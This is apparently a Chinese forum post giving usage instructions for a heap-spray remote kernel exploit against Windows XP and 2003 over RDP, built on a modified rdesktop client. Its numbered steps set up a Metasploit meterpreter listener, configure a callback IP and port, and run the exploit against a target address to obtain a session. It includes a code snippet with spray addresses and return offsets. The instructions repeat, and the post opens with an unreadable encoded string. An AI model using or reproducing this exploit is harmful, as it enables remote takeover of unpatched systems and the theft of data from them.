f07K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6U0L8$3!0D9j5X3!0&6y4r3#2W2i4K6u0r3j5%4k6W2i4K6u0V1x3U0l9I4z5g2)9J5k6o6l9%4x3o6S2Q4y4h3k6T1L8s2g2W2K9$3g2W2M7q4)9#2k6Y4u0U0k6b7`.`.
前后花了3个月通过能够找到的各种开源资料,看雪论坛求助,实现了xp下面的稳定利用。03可以利用自己的机器,不具备通用性。
1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. 修改config,配置回连ip和端口
192.168.116.133
6000
4. 执行 ./heap_spray 192.168.116.134 (134是xp的地址,内存大于等于2G)
5. msfconsole meterpreter 会得到session
ps:
shellcode/shellcode.asm 是内核shellcode源码,编译以后转成二进制,就是rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b文件了,make的时候会直接编译进程序。
目前仅支持xp,需要xp的内存 >= 2G
如果需要支持2003,需要修改heap_spray.c 里面的 HEAP_SPRAY_ADDRESS 宏地址,经过反复测试,这个地址在03的不同系统版本,不同内存大小是不一样的。但是如果要测试
自己的机器的话,是可以成功在03上利用。不具备通用性。
heap_spray.c
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif
测试03
1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. 修改config,配置回连ip和端口
192.168.116.133
6000
4. 执行 ./_2003_heap_spray 192.168.116.135 (135是03的地址,内存大于等于2G)
5. msfconsole meterpreter 会得到session
1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. 修改config,配置回连ip和端口
192.168.116.133
6000
4. 执行 ./heap_spray 192.168.116.134 (134是xp的地址,内存大于等于2G)
5. msfconsole meterpreter 会得到session
ps:
shellcode/shellcode.asm 是内核shellcode源码,编译以后转成二进制,就是rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b文件了,make的时候会直接编译进程序。
目前仅支持xp,需要xp的内存 >= 2G
如果需要支持2003,需要修改heap_spray.c 里面的 HEAP_SPRAY_ADDRESS 宏地址,经过反复测试,这个地址在03的不同系统版本,不同内存大小是不一样的。但是如果要测试
自己的机器的话,是可以成功在03上利用。不具备通用性。
[培训]科锐软件逆向54期预科班、正式班开始火爆招生报名啦!!!
最后于 2019-9-30 11:34
被coolboyme编辑
,原因: 补充使用说明和源码附件